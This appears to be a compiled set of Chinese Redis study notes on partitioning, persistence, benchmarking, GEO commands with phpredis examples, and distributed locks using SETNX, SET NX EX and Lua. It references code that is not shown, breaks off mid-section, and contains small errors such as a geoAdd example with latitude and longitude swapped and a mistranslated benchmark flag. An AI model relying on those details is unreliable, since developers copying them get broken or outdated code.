【 Redis分区 】 分区是分割数据到多个Redis实例的处理过程,因此每个实例只保存key的一个子集。 分区的优势 通过利用多台计算机内存的和值,允许构造更大的数据库。 通过多核和多台计算机,允许扩展计算能力;通过多台计算机和网络适配器,允许扩展网络带宽。 分区的不足 redis的一些特性在分区方面表现的不是很好: 涉及多个key的操作通常是不被支持的,例如当两个set映射到不同的redis实例上时就不能对这两个set执行交集操作。 涉及多个key的redis事务不能使用。 当使用分区时数据处理较为复杂,比如需要处理多个rdb/aof文件,并且从多个实例和主机备份持久化文件。 增加或删除容量也比较复杂。redis集群大多数支持在运行时增加、删除节点的透明数据平衡的能力,但类似于客户端分区、代理等其他系统则不支持这项特性。然而一种叫做presharding的技术对此是有帮助的。 分区类型 Redis有两种类型分区 假设有4个Redis实例R0、R1、R2、R3和类似user:1、user:2表示用户的多个key,对既定的key有多种不同方式来选择这个key存放在哪个实例中,即有不同的系统来映射某个key到某个Redis服务。 1、范围分区 最简单的分区方式是按范围分区,就是映射一定范围的对象到特定的Redis实例。 比如ID从0到10000的用户会保存到实例R0,ID从10001到20000的用户会保存到R1,以此类推。 这种方式是可行的,并且在实际中使用,不足就是要有一个区间范围到实例的映射表。这个表要被管理,同时还需要各种对象的映射表,通常对Redis来说并非是好的方法。 2、哈希分区 另外一种分区方法是hash分区。这对任何key都适用,也无需是object_name:这种形式,像下面描述的一样简单: 用一个hash函数将key转换为一个数字,比如使用crc32 hash函数。对key foobar执行crc32(foobar)会输出类似93024922的整数。 对这个整数取模,将其转化为0-3之间的数字,就可以将这个整数映射到4个Redis实例中的一个了。93024922%4=2,就是说key foobar应该被存到R2实例中 【 虚拟内存的使用 】 Redis的虚拟内存与操作系统的虚拟内存不是一回事,但思路和目的相同,就是暂时把不经常访问的数据从内存中交换到磁盘中,从而腾出内存空间用于其他需要访问的数据。尤其是对于redis这样的内存数据库,内存总是不够用的。除了可以将数据分割到多个redis server外。另外能够提高数据库容量的办法就是使用虚拟内存把那些不经常访问的数据交换到磁盘上。 下面是vm相关配置: vm-enabled yes # 开启vm功能 vm-swap-file /tmp/redis swap # 交换出来的value保存路径 vm-max-memory 100000 # redis使用的最大内存上限 vm-page-size 32 # 每个页面的大小32字节 vm-pages 134217728 # 最多使用多少页面 vm-max-threads 4 # 用于执行value对象换入的工作线程数量 【 redis数据库持久化机制 】 Redis是一个支持持久化的内存数据库,也就是说redis需要经常将内存中的数据同步到硬盘来保证持久化。 Redis将数据存储于内存中或被配置为使用虚拟内存,实现数据持久化的两种方式: 1、Snaapshotting(快照)方式: 默认的持久化方式 这种方法是将内存中数据以快照方式写入到磁盘二进制文件中,默认文件名dump.rdb,性能高,但可能会引起一定程度的数据丢失 可以通过配置设置自动做快照持久化的方式,可以配置redis在n秒内如果超过m个key被修改就自动做快照。 save 900 1 # 900秒内如果超过一个key被修改则发起快照保存 save 300 10 # 300秒内如果超过10个key被修改则发起快照保存 save 60 10000 2、Append-only file(缩写aof)的方式: 由于快照方式是在一定间隔时间做一次的,所以如果redis意外down掉的话会失去最后一次快照后的所有修改。 aof比快照方式有更好的持久化性,是由于在使用aof时redis会将每一个收到的写命令都通过write函数追加到文件中,当redis重启时会通过重新执行文件中保存的写命令来在内存中重建整个数据库的内容。 类似mysql的方式,记录每次更新的日志 由于aof会在内核中缓存write做的修改,所以可能不是立即写到磁盘上,这样aof方式的持久化也还是有可能会丢失部分修改。 可以通过配置文件告诉redis想要通过fsync函数强制aof写入到磁盘的时机。 appendonly yes # 启用aof持久化方式 appendfsync always # 收到写命令就立即写入磁盘,最慢,但保证完全的持久化 appendfsync everysec # 每秒钟写入磁盘一次,在性能和持久化方面做了很好的折中 appendfsync no # 完全依赖os,性能最好,持久化没保证 save命令 将当前数据库的数据同步保存到磁盘,将当前Redis实例的所有数据快照(snapshot)以RDB文件的形式保存到硬盘 用于创建当前数据库的备份,该命令将在redis安装目录中创建dump.rdb二进制文件 bgsave 在后台异步保存当前数据库的数据到磁盘 bgsave命令执行之后立即返回OK,然后Redis fork出一个新子进程,原来的Redis进程(父进程)继续处理客户端请求,而子进程则负责将数据保存到磁盘,然后退出 lastsave 返回上次成功将数据保存到磁盘的Unix时间戳 恢复数据 如果需要恢复数据,只需将备份文件(dump.rdb)移动到redis安装目录并启动服务即可。 获取redis目录可以使用CONFIG命令: config get dir 【 性能测试 】 Redis性能测试是通过同时执行多个命令实现的 redis-benchmark [option] [option value] 参数说明: -h 指定服务器主机名 127.0.0.1 -p 指定服务器端口 6379 -s 指定服务器 socket -c 指定并发连接数 50 -n 指定请求数 10000 -d 以字节的形式指定SET/GET值的数据大小 2 -k 1=keep alive 0=reconnect 1 -r SET/GET/INCR使用随机key,SADD使用随机值 -P 通过管道传输 < numreq > 请求 1 -q 强制退出redis,仅显示query/sec值 --csv 以CSV格式输出 -l 生成循环,永久执行测试 -t 仅运行以逗号分隔的测试命令列表。 -I Idle模式,仅打开N个idle连接并等待。
redis geo 地理位置
Redis的GEO特性可以将用户给定的地理位置信息储存起来,并对这些信息进行操作 如使用这些命令去实现"查找附近的人"以及"摇一摇"这两个功能 LBS(Location Based Service),基于位置的服务 有效的经度从-180度到180度。 有效的纬度从-85.05112878度到85.05112878度。 当坐标位置超出上述指定范围时,该命令将会返回一个错误 【 geoadd命令 】 geoadd location-key longitude latitude member [longitude latitude member ...] 将指定的地理空间位置(纬度、经度、名称)添加到指定的key中。 返回值: 添加到sorted set元素的数目,但不包括已更新score的元素 redis> geoadd guangdong-cities 113.2099647 23.593675 qingyuan redis> geoadd guangdong-cities 113.2278442 23.1255978 guangzhou 113.106308 23.0088312 foshan 113.7943267 22.9761989 dongguan 114.0538788 22.5551603 shenzhen redis> type guangdong-cities # zset 【 geopos命令 】 geopos location-key member [member ...] 从key里返回所有给定位置元素的位置(经度和纬度)。 返回值: GEOPOS命令返回一个数组,数组中的每个项都由两个元素组成: 第一个元素为给定位置元素的经度,而第二个元素则为给定位置元素的纬度。当给定的位置元素不存在时,对应的数组项为空值 redis> geopos guangdong-cities qingyuan guangzhou foshan 【 geodist命令 】 geodist location-key member1 member2 [unit] 返回两个给定位置之间的距离,如果两个位置之间的其中一个不存在那么命令返回空值 可选参数 unit 用于指定计算距离时的单位,它的值可以是以下单位的其中一个: m 表示单位为米,默认 km 表示单位为千米。 mi 表示单位为英里。 ft 表示单位为英尺。 redis> geodist guangdong-cities qingyuan guangzhou // 计算广州和清远的距离,输出"52094.4338" redis> GEODIST Guangdong-cities Qingyuan Guangzhou km // 以公里km显示 【 geohash命令 】 geohash location-key member [member ...] 返回一个或多个位置元素的Geohash表示。通常使用表示位置的元素使用不同的技术,使用Geohash位置52点整数编码。由于编码和解码过程中所使用的初始最小和最大坐标不同,编码的编码也不同于标准。此命令返回一个标准的Geohash 返回值: 一个数组,数组的每个项都是一个geohash,命令返回的geohash的位置与用户给定的位置元素的位置一一对应 redis> geohash guangdong-cities qingyuan 1) "ws0w0phgp70" sorted set使用一种称为Geohash的技术进行填充。经度和纬度的位是交错的,以形成一个独特的52位整数. 我们知道,一个sorted set 的double score可以代表一个52位的整数,而不会失去精度 【 GEORADIUS 和 GEORADIUSBYMEMBER命令 获取指定范围内的元素 】 GEORADIUS 和 GEORADIUSBYMEMBER命令来实现查找特定范围内地点的功能,作用一样,只是指定中心点的方式不同: GEORADIUS使用用户给定的经纬度作为计算范围时的中心点 而GEORADIUSBYMEMBER则使用储存在位置集合里面的某个地点作为中心点 GEORADIUS location-key longitude latitude radius m|km|ft|mi [WITHCOORD] [WITHDIST] [ASC|DESC] [COUNT count] GEORADIUSBYMEMBER location-key location radius m|km|ft|mi [WITHCOORD] [WITHDIST] [ASC|DESC] [COUNT count] 参数 m|km|ft|mi指定的是计算范围时的单位; 如果给定了可选的WITHCOORD,那么命令在返回匹配的位置时会将位置的经纬度一并返回; 如果给定了可选的WITHDIST,那么命令在返回匹配的位置时会将位置与中心点之间的距离一并返回; 在默认情况下,GEORADIUS和GEORADIUSBYMEMBER的结果是未排序的,ASC可以让查找结果根据距离从近到远排序,而DESC则可以让查找结果根据从远到近排序; COUNT 参数指定要返回的结果数量 返回值: 在没有给定任何WITH选项的情况下,命令只会返回一个像["New York","Milan","Paris"] 这样的线性linear列表 在指定了WITHCOORD、WITHDIST、WITHHASH等选项的情况下,命令返回一个二层嵌套数组,内层的每个子数组表示一个元素 在返回嵌套数组时,子数组的第一个元素总是位置元素的名字。 至于额外的信息则会作为子数组的后续元素,按照以下顺序被返回: 1、以浮点数格式返回的中心与位置元素之间的距离,单位与用户指定范围时的单位一致 2、geohash 整数。 3、由两个元素组成的坐标,分别为经度和纬度。 // 使用georadiusbymember去找出位于广州50公里以内的城市 redis> georadiusbymember guangdong-cities guangzhou 50 km 使用场景: 查找附近的人 摇一摇
【 微信、陌陌 架构方案分析 】 目标 解决大型应用(微信、陌陌级别)中,用户经纬度在不断更新,用户查找频繁的问题。(每分钟1000W级) 方案A: 基于LBS功能应用的Geohash方案 1、仅需每分钟将用户的经纬度,上报到数据库; 2、然后每次用户查找附近好友时,通过 LIKE 'wm3yr3%',即可获取 缺点: 稍有一定数据量,对数据库的压力可想而知 方案B: 使用Redis 策略 假象把中国分成,若干个一平方公里的单元格 1)用户位置的变更,理解为一个单元格移动到另外一个单元格(或者不移动) 2)用户查找附近,理解为查找,自己所在方块的的所有人 数据结构 1)用户基本信息 纬度、经度、GeoHash值(经纬度,仅用于后期距离计算) 2)单元格 集合(用户1,用户2,…) 存储工具 1)redis string(key->value) 结构,存储用户基本信息 2)redis set(集合)结构,以GeoHash值,前6位作为key(约表示一平方千米),存储单元格的用户群 算法流程 1)更新用户信息,先删除用户原所在集合,再更新当前用户信息,最后更新当前用户所在集合 2)查找附近,直接查找,所在单元格集合所有用户ID
性能测试 1)模拟数据上报模拟附近查找
测试环境 vmWare虚拟机,内存256M,主频2.93GHz 性能结果 模拟了100W活跃用户行为,不断更新,不断查找附近好友 //60 seconds insert 88544 //60 seconds search 117660 //成都 100W人,数据占用内存 11.97M 总结 从测试结果来看,完全能满足,微信、陌陌之类的性能要求; 尚可改进之处: 1、Geohash,可写成PHP C扩展;或者其他Geohash实现方式 2、Redis,内存消耗较大,可考虑redis集群方案 3、本文仅查出本单元格用户,提高精度,可查出周围八个单元个,求交集 4、求出结果,如需按照由远到近排序;读出Redis经纬度,利用距离公式排序方可。(可参照上一篇文章) 问题 1)假设我现在设定的hash长度为7 ,那一个个hash值对应一个块,如何得到这个块的坐标区间呢? 例如,成都永丰立交的Geohash值为: wm3yr31d2524;如取7位,则为,wm3yr31; 根据Geohash的算法,那么区间就会是 wm3yr3100000 ~ wm3yr31zzzzz; 根据如上两值,通过"Geohash->经纬度"算出经纬度,可大致确定区间。 2)如果用户上报的位置信息有时效性(比如: 15秒内有效)如何处理? 可以在redis存储的时候,设置有效时间
【 geoAdd 】
Prototype
$redis->geoAdd($key,$longitude,$latitude,$member [,$longitude,$latitude,$member,...]);Add one or more geospatial items to the specified key. This function must be called with at least one longitude,latitude,member triplet.
Return value
Integer: The number of elements added to the geospatial key.
$redis->del("myplaces");
/* Since the key will be new,$result will be 2 */
$result = $redis->geoAdd(
"myplaces",
37.773,-122.431,"San Francisco",
-157.858,21.315,"Honolulu"
);
批量写入Redis-GEO数据
redis> GEOADD redis_key 经度1 纬度1 "位置名称1" 经度2 纬度2 "位置名称2"
redis> GEOADD Sicily 13.361389 38.115556 "Palermo" 15.087269 37.502669 "Catania"
方法:call_user_func_array( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
//伪数据
$data = [
[ 'lng' => '116.1021', 'lat' => '39.5928', 'name'=> '香山' ],
[ 'lng' => '112.5607', 'lat' => '34.2331', 'name'=> '嵩山' ]
];
$obj = new Redis();
$obj->connect('127.0.0.1', '6379');
$param = array($key);
foreach ($data as $k => $v) {
$tmp_arr[0] = $v['lng'];
$tmp_arr[1] = $v['lat'];
$tmp_arr[2] = $v['name'];
$param = array_merge($param, $tmp_arr);
}
$result = call_user_func_array(array($obj, 'geoadd'), $param);
【 geoHash 】
Prototype
$redis->geoHash($key,$member [,$member,$member,...]);Retrieve Geohash strings for one or more elements of a geospatial index.
Return value
Array: One or moreredisGeohash encoded strings.
$redis->geoAdd("hawaii",-157.858,21.306,"Honolulu",-156.331,20.798,"Maui");
$hashes = $redis->geoHash("hawaii","Honolulu","Maui");
var_dump($hashes); // ["87z9pyek3y0","8e8y6d5jps0"]
【 geoPos 】
Prototype
$redis->geoPos($key,$member [,$member,$member,...]);Return longitude,latitude positions for each requested member.
Return value
Array: One or more longitude/latitude positions
$redis->geoAdd("hawaii",-157.858,21.306,"Honolulu",-156.331,20.798,"Maui");
$positions = $redis->geoPos("hawaii","Honolulu","Maui");
var_dump($positions);
// [
["-157.85800248384475708","21.3060004581273077"],["-156.33099943399429321","20.79799924753607598"]
]
【 GeoDist 】
Prototype
$redis->geoDist($key,$member1,$member2 [,$unit]);Return the distance between two members in a geospatial set. If units are passed it must be one of the following values:
'm' => Meters
'km' => Kilometers
'mi' => Miles
'ft' => Feet
Return value
Double: The distance between the two passed members in the units requested (meters by default).
$redis->geoAdd("hawaii",-157.858,21.306,"Honolulu",-156.331,20.798,"Maui");
$meters = $redis->geoDist("hawaii","Honolulu","Maui");
$kilometers = $redis->geoDist("hawaii","Honolulu","Maui",'km');
$miles = $redis->geoDist("hawaii","Honolulu","Maui",'mi');
$feet = $redis->geoDist("hawaii","Honolulu","Maui",'ft');
echo "Distance between Honolulu and Maui:\n";
echo " meters : $meters\n";
echo " kilometers: $kilometers\n";
echo " miles : $miles\n";
echo " feet : $feet\n";
/* Bad unit */
$inches = $redis->geoDist("hawaii","Honolulu","Maui",'in');
echo "Invalid unit returned:\n";
var_dump($inches);
Output
Distance between Honolulu and Maui:
meters : 168275.204
kilometers: 168.2752
miles : 104.5616
feet : 552084.0028
Invalid unit returned:
bool(false)
【 geoRadius 】
Prototype
$redis->geoRadius($key,$longitude,$latitude,$radius,$unit [,Array $options]);Return members of a set with geospatial information that are within the radius specified by the caller.
Options Array
The georadius command can be called with various options that control howredisreturns results. The following table describes the options phpredis supports. All options are case insensitive.
Key Value Description
COUNT integer > 0 Limit how many results are returned
WITHCOORD Return longitude and latitude of matching members
WITHDIST Return the distance from the center
WITHHASH Return the raw geohash-encoded score
ASC Sort results in ascending order
DESC Sort results in descending order
STORE key Store results in key
STOREDIST key Store the results as distances in key
Note: It doesn't make sense to pass both ASC and DESC options but if both are passed the last one passed will be used.
Note: When using STORE[DIST] inredisCluster,the store key must has to the same slot as the query key or you will get a CROSSLOT error.
Return value
Mixed: When no STORE option is passed,this function returns an array of results. If it is passed this function returns the number of stored entries.
/* Add some cities */
$redis->geoAdd("hawaii",-157.858,21.306,"Honolulu",-156.331,20.798,"Maui");
echo "Within 300 miles of Honolulu:\n";
var_dump($redis->geoRadius("hawaii",-157.858,21.306,300,'mi'));
echo "\nWithin 300 miles of Honolulu with distances:\n";
$options = ['WITHDIST'];
var_dump($redis->geoRadius("hawaii",-157.858,21.306,300,'mi',$options));
echo "\nFirst result within 300 miles of Honolulu with distances:\n";
$options['count'] = 1;
var_dump($redis->geoRadius("hawaii",-157.858,21.306,300,'mi',$options));
echo "\nFirst result within 300 miles of Honolulu with distances in descending sort order:\n";
$options[] = 'DESC';
var_dump($redis->geoRadius("hawaii",-157.858,21.306,300,'mi',$options));
Output
Within 300 miles of Honolulu:
array(2) {
[0]=>
string(8) "Honolulu"
[1]=>
string(4) "Maui"
}
Within 300 miles of Honolulu with distances:
array(2) {
[0]=>
array(2) {
[0]=>
string(8) "Honolulu"
[1]=>
string(6) "0.0002"
}
[1]=>
array(2) {
[0]=>
string(4) "Maui"
[1]=>
string(8) "104.5615"
}
}
First result within 300 miles of Honolulu with distances:
array(1) {
[0]=>
array(2) {
[0]=>
string(8) "Honolulu"
[1]=>
string(6) "0.0002"
}
}
First result within 300 miles of Honolulu with distances in descending sort order:
array(1) {
[0]=>
array(2) {
[0]=>
string(4) "Maui"
[1]=>
string(8) "104.5615"
}
}
【 geoRadiusByMember 】
Prototype
$redis->geoRadiusByMember($key,$member,$radius,$units [,Array $options]);This method is identical to geoRadius except that instead of passing a longitude and latitude as the "source" you pass an existing member in the geospatial set.
Options Array
See geoRadius command for options array.
Return value
Array: The zero or more entries that are close enough to the member given the distance and radius specified.
$redis->geoAdd("hawaii",-157.858,21.306,"Honolulu",-156.331,20.798,"Maui");
echo "Within 300 miles of Honolulu:\n";
var_dump($redis->geoRadiusByMember("hawaii","Honolulu",300,'mi'));
echo "\nFirst match within 300 miles of Honolulu:\n";
var_dump($redis->geoRadiusByMember("hawaii","Honolulu",300,'mi',Array('count' => 1)));
Output
Within 300 miles of Honolulu:
array(2) {
[0]=>
string(8) "Honolulu"
[1]=>
string(4) "Maui"
}
First match within 300 miles of Honolulu:
array(1) {
[0]=>
string(8) "Honolulu"
}
Generic
【 rawCommand 】
A method to execute any arbitrary command against the aredisserver
Parameters
This method is variadic and takes a dynamic number of arguments of various types (string,long,double),but must be passed at least one argument (the command keyword itself).
Return value
The return value can be various types depending on what the server itself returns. No post processing is done to the returned value and must be handled by the client code.
/* Returns: true */
$redis->rawCommand("set","foo","bar");
/* Returns: "bar" */
$redis->rawCommand("get","foo");
/* Returns: 3 */
$redis->rawCommand("rpush","mylist","one",2,3.5));
/* Returns: ["one","2","3.5000000000000000"] */
$redis->rawCommand("lrange","mylist",0,-1);
Redis构建分布式锁
构建合适的锁可以在高并发下能够保持数据的一致性,即客户端在执行连贯的命令时上锁的数据不会被别的客户端的更改而发生错误,同时还能够保证命令执行的成功率。 在关系型数据库中,用户首先向数据库服务器发送BEGIN,然后执行各个相互一致的写操作和读操作,最后用户可以选择发送COMMIT来确认之前的修改,或者发送ROLLBACK进行回滚。 在redis中通过命令MULTI为开始,之后用户传入连贯的命令,最后EXEC结束,在这一过程中可以使用watch监控一些key。 redis事务中的命令会先推入队列,等到EXEC命令出现的时候才会将一条条命令执行。假若watch监控的key发生改变,这个事务将会失败,这也就说明Redis事务中不存在锁,其他客户端可以修改正在执行事务中的有关数据,这也就为什么在多个客户端同时处理相同的数据时事务往往会发生错误。 redis中的事务可以watch监控数据,从而能够保证连贯执行的时数据的一致性,但在多个客户端同时处理相同的数据的时很容易导致事务的执行失败,甚至会导致数据的出错。 【 redis的单线程IO多路复用 】 Redis采用单线程IO多路复用模型来实现高内存数据服务。 redis采用的是单线程、使用的是多个IO。整个过程简单的来讲就是哪个命令的数据流先到达就先执行,即哪个IO流先到达就先处理哪个。 Linux下网络IO使用socket套接字来通讯,普通IO模型只能监听一个socket,而IO多路复用可同时监控多个socket。IO多路复用避免阻塞在IO上,单线程保存多个socket的状态后轮循处理。 【 并发测试 】
假若在一个浏览器中同时执行两次test.php文件,不管是否同时执行,最终结果就是count=200000。因为在同一个浏览器中执行,都是属于同一个会话,所有命令都在同一个通道通过,所以redis会让先执行的十万次执行完,再接着执行其他的十万次 两个浏览器同时执行,总共执行两次,count原本应该是二十万才对的,但实际上远远小于二十万,这是为什么呢? redis采用单线程IO多路复用模型,使用两个浏览器即为A、B两个会话,取出、加1、存入这三命令并不是原子操作,且在执行取出、存入这两redis命令时是哪个客户端先到就先执行 1、此时count=120 2、A取出count=120,紧接着B的取出命令流到了,也将count=120取出 3、A取出后立即加1,并将count=121存回去 4、此时B也紧跟着,也将count=121存进去了 1、事务解决 redis中事务没有mysql中的完善,只保证了一致性和隔离性,不满足原子性和持久性,所以解决不了上面的问题 原子性,redis会将事务中的所有命令执行一遍,哪怕是中间有执行失败也不会回滚。kill信号、宿主机宕机等导致事务执行失败,redis也不会进行重试或者回滚。 持久性,redis事务的持久性依赖于redis所使用的持久化模式,遗憾的是各种持久化模式也都不是持久化的。 隔离性,redis是单进程,开启事务之后,会执行完当前连接的所有命令直到遇到exec命令,才处理其他连接的命令。 一致性,看了文档,觉得挺扯的,但是貌似说的没有问题。 redis事务使用multi、exec命令
执行失败 notice: object of classrediscould not be converted to int 当redis开启事务时,事务中的命令是不执行的,而是先将命令压入队列,然后当出现exec命令的时候才会阻塞式的将所有的命令一个接一个的执行。 所以当使用PHP中的Redis类进行redis事务的时候,所有有关redis的命令都不会真正的执行,而仅仅是将命令发送到redis中进行存储起来。 $count实际上不是想要的数据,而是一个对象 object(Redis)[1] public 'socket' => resource(3,Redis Socket Buffer) 还有watch命令可以解决这个问题,对一个键执行watch,然后执行事务,由于watch的存在,他会监测键a,当a被修该之后,后面的事务就会执行失败,这就确保了多个连接同时来了,都监测着a,只有一个能执行成功,其他都返回失败。 2、原子性操作incr解决 redis中命令是满足原子性的,因此在值为阿拉伯数字的时候,可以将get和set命令修改为incr或incrby来解决这个问题
两个浏览器同时执行,耗时14、15秒,count=200000,可以解决此问题。 缺点: 仅仅只是解决这里的取出加1的问题,本质上还是没能解决问题的,在实际环境中需要做的是一系列操作,不仅仅只是取出加1,因此就很有必要构建一个万能锁了 【 构建分布式锁 】 构造锁的目的就是在高并发下消除选择竞争、保持数据一致性 需要注意几个问题: 1、预防处理持有锁在执行操作的时候进程奔溃,导致死锁,其他进程一直得不到此锁 2、持有锁进程因为操作时间长而导致锁自动释放,但本身进程并不知道,最后错误的释放其他进程的锁 3、一个进程锁过期后,其他多个进程同时尝试获取锁,并且都成功获得锁
在两个不同的浏览器中执行,最终结果count=200000,但耗时相对较多,22s和24s。但在高并发下对同一个数据二十万次上锁执行释放锁的操作还是可以接受的,甚至已经很不错了。 以上的简单例子仅仅只是为了模拟并发测试并检验而已,实际上可以使用Lock.class.php中的锁结合项目加以修改就可以很好地使用这个锁了,例如商城中的疯狂抢购、游戏中虚拟商城玩家买卖东西等 使用锁 1.)setnx(lockkey, 当前时间+过期超时时间) ,如果返回1则获取锁成功;如果返回0则没有获取到锁,转向2。 2.)get(lockkey)获取值oldExpireTime,并将这个value值与当前的系统时间进行比较,如果小于当前系统时间,则认为这个锁已经超时,可以允许别的请求重新获取,转向3。 3.)计算newExpireTime=当前时间+过期超时时间,然后getset(lockkey, newExpireTime) 会返回当前lockkey的值currentExpireTime。 4.)判断currentExpireTime与oldExpireTime是否相等,如果相等说明当前getset设置成功,获取到了锁。如果不相等,说明这个锁又被别的请求获取走了,那么当前请求可以直接返回失败,或继续重试。 5) 在获取到锁之后,当前线程可以开始做自增操作,当处理完毕后,比较自己的处理时间和对于锁设置的超时时间,如果小于锁设置的超时时间,则直接执行delete释放锁;如果大于锁设置的超时时间,则不需要再锁进行处理。
【 使用Redis实现简单的分布式锁 】
可以直接使用SETNX命令,不过直接使用SETNX没办法对其设置过期时间,如果加锁客户端宕机就导致这把锁获取不了
执行SETNX之后再执行EXPIRE命令主动设置过期时间,伪码如下:
var result = setnx lock "client"
if(result==1){
expire lock 30
}
这样还是存在缺陷,加锁代码并不能原子执行,如果调用加锁语句,还没来得及设置过期时间应用就宕机了,还是会存在锁过期不了的问题。
这个问题在Redis 2.6.12版本就可以被完美解决,这个版本增强了SET命令,可以通过带上NX,EX命令原子执行加锁操作解决上述问题。参数含义如下:
EX second : 设置键的过期时间,单位秒
NX 当键不存在时,进行设置操作,等同SETNX操作
使用SET命令实现分布式锁只需要一行代码:
SET lock_name anystring NX EX lock_time // 防止程序意外终止而导致死锁
解锁
解锁相比加锁过程就显得非常简单,只要调用DEL命令删除锁即可:
DEL lock_name
这种方式存在一个缺陷,可能会发生错解锁问题。
假设应用1加锁成功,锁超时时间为30s。由于应用1业务逻辑执行时间过长,30s之后锁过期自动释放。
这时应用2接着加锁,加锁成功,执行业务逻辑。这个期间应用1终于执行结束使用DEL成功释放锁
这样就导致了应用1错误释放应用2的锁,另外锁被释放之后,其他应用可能再次加锁成功,这就可能导致业务重复执行。
为了使锁不被错误释放,需要在加锁时设置随机字符串,比如UUID
SET lock_name uuid NX EX lock_time
释放锁时需要提前获取当前锁存储的值,然后与加锁时的uuid做比较,伪代码如下:
var value= get lock_name
if value == uuid
// 释放锁成功
else
// 释放锁失败
Redis 2.6.0增加执行Lua脚本的功能,lua代码可以运行在Redis服务器的上下文中,并且整个操作将会被当成一个整体执行,中间不会被其他命令插入。
这就保证了脚本将会以原子性的方式执行,当某个脚本正在运行的时候不会有其他脚本或Redis命令被执行。在其他的别的客户端看来执行脚本的效果要么是不可见的,要么就是已完成的。
EVAL与EVALSHA
Redis可以使用EVAL执行LUA脚本,可以在LUA脚本中执行判断求值逻辑。EVAL执行方式如下:
EVAL script numkeys key [key ...] arg [arg ...]
numkeys参数用于建明参数,即后面key数组的个数。
key [key ...] 代表需要在脚本中用到的所有Redis key,在Lua脚本使用使用数组的方式访问key,类似如下KEYS[1],KEYS[2]。Lua数组起始位置是从1开始
命令最后是一些附加参数,可以用来当做Redis Key值存储的Value值,使用方式如KEYS变量一样,类似如下: ARGV[1]、ARGV[2]
用一个简单例子运行一下EVAL命令:
eval "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2],ARGV[3]}" 2 key1 key2 first second third
可以看到KEYS与ARGVS内部数组可以不一致。
在Lua脚本可以使用下面两个函数执行Redis命令:
redis.call()
redis.pcall()
两个函数作用法与作用完全一致,只不过对于错误的处理方式不一致
下面统一在Lua脚本中使用redis.call(),执行以下命令:
eval "return redis.call('set',KEYS[1],ARGV[1])" 1 foo 楼下小黑哥
EVALSHA
EVAL命令每次执行时都需要发送Lua脚本,但Redis并不会每次都会重新编译脚本。
当Redis第一次收到Lua脚本时,首先将会对Lua脚本进行sha1获取签名值,然后内部将会对其缓存起来。后续执行时直接通过sha1计算过后签名值查找已经编译过的脚本,加快执行速度。
虽然Redis内部已经优化执行的速度,但每次都需要发送脚本,还是有网络传输的成本,如果脚本很大,这其中花在网络传输的时间就会相应的增加。
所以Redis又实现了EVALSHA命令,原理与EVAL一致。只不过EVALSHA只需要传入脚本经过sha1计算过后的签名值即可,这样大大的减少了传输的字节大小,减少了网络耗时。
EVALSHA命令如下:
evalsha c686f316aaf1eb01d5a4de1b0b63cd233010e63d 1 foo 楼下小黑哥
SCRIPT FLUSH命令用来清除所有Lua脚本缓存。
如果之前未执行过EVAL命令,直接执行EVALSHA将会报错。
优化分布式锁
讲完Redis执行LUA脚本的相关命令,看下如何优化上面的分布式锁,使其无法释放其他应用加的锁。
【 Redis分布式锁的缺陷 】
无法重入
由于上述加锁命令使用了SETNX,一旦键存在就无法再设置成功,这就导致后续同一线程内继续加锁将会加锁失败。
如果想将Redis分布式锁改造成可重入的分布式锁,有两种方案:
本地应用使用 ThreadLocal 进行重入次数计数,加锁时加1,解锁时减1,当计数变为0释放锁
第二种使用Redis Hash表存储可重入次数,使用Lua脚本加锁/解锁
当一个线程执行一段代码成功获取锁之后,继续执行时又遇到加锁的代码,可重入性就就保证线程能继续执行,而不可重入就是需要等待锁释放之后,再次获取锁成功才能继续往下执行。
假设X线程在a方法获取锁之后,继续执行b方法,如果此时不可重入,线程就必须等待锁释放,再次争抢锁,锁明明是被X线程拥有,却还需要等待自己释放锁,然后再去抢锁
可重入性就可以解决这个尴尬的问题,当线程拥有锁之后,往后再遇到加锁方法直接将加锁次数加1,然后再执行方法逻辑。退出加锁方法之后加锁次数再减1,当加锁次数为0时锁才被真正的释放。
可重入锁最大特性就是计数,计算加锁的次数。所以当可重入锁需要在分布式环境实现时,也就需要统计加锁次数
加锁方法首先判断当前线程是否已经已经拥有该锁,若已经拥有,直接对锁的重入次数加1
若还没拥有该锁,则尝试去Redis加锁,加锁成功之后,再对重入次数加1
释放锁的时首先判断重入次数,若大于1,则代表该锁是被该线程拥有,所以直接将锁重入次数减1即可
若当前可重入次数小于等于1,首先移除Map中锁对应的key,然后再到Redis释放锁。
这里需要注意的是,当锁未被该线程拥有,直接解锁,可重入次数也是小于等于1,这次可能无法直接解锁成功。
锁超时释放
假设线程A加锁成功,锁超时时间为30s。由于线程A内部业务逻辑执行时间过长,30s之后锁过期自动释放。
此时线程B成功获取到锁,进入执行内部业务逻辑。此时线程A还在执行执行业务,而线程B又进入执行这段业务逻辑,这就导致业务逻辑重复被执行。
这个问题一般由于锁的超时时间设置不当引起,可以评估下业务逻辑执行时间,在这基础上再延长一下超时时间。
如果超时时间设置合理,但是业务逻辑还有偶发的超时,需要排查下业务执行过长的问题。
如果说一定要做到业务执行期间,锁只能被一个线程占有的,那就需要增加一个守护线程,定时为即将的过期的但未释放的锁增加有效时间。
加锁成功后同时创建一个守护线程。守护线程将会定时查看锁是否即将到期,如果锁即将过期,那就执行EXPIRE等命令重新设置过期时间。
Redis分布式锁集群问题
为了保证生产高可用,一般会采用主从部署方式。采用这种方式可以将读写分离,主节点提供写服务,从节点提供读服务。
Redis主从之间数据同步采用异步复制方式,主节点写入成功后,立刻返回给客户端,然后异步复制给从节点。
如果数据写入主节点成功,但是还未复制给从节点。此时主节点挂了,从节点立刻被提升为主节点。
这种情况下,还未同步的数据就丢失了,其他线程又可以被加锁了。
针对这种情况Redis官方提出一种RedLock的算法,需要有N个Redis主从节点
redis分布式锁
场景:用户下单,查询商品库存够不够,不够直接返回库存不足类似的错误信息,库存够直接在数据库中库存-1,然后返回成功,在业务逻辑上这段代码是没有什么问题的。 但这段代码是存在严重的问题的。 如果库存只剩1且在并发比较高的情况下,比如两个请求同时执行了这段代码,同时查到库存为1,然后顺利成章的都去数据库执行stock-1的操作,这样库存就会变成-1,然后就会引发超卖的现象,刚才说的是两个请求同时执行,如果同时几千个请求打过来,可见造成的损失是非常大的redis setnx 命令把上面的代码优化一下,version-1
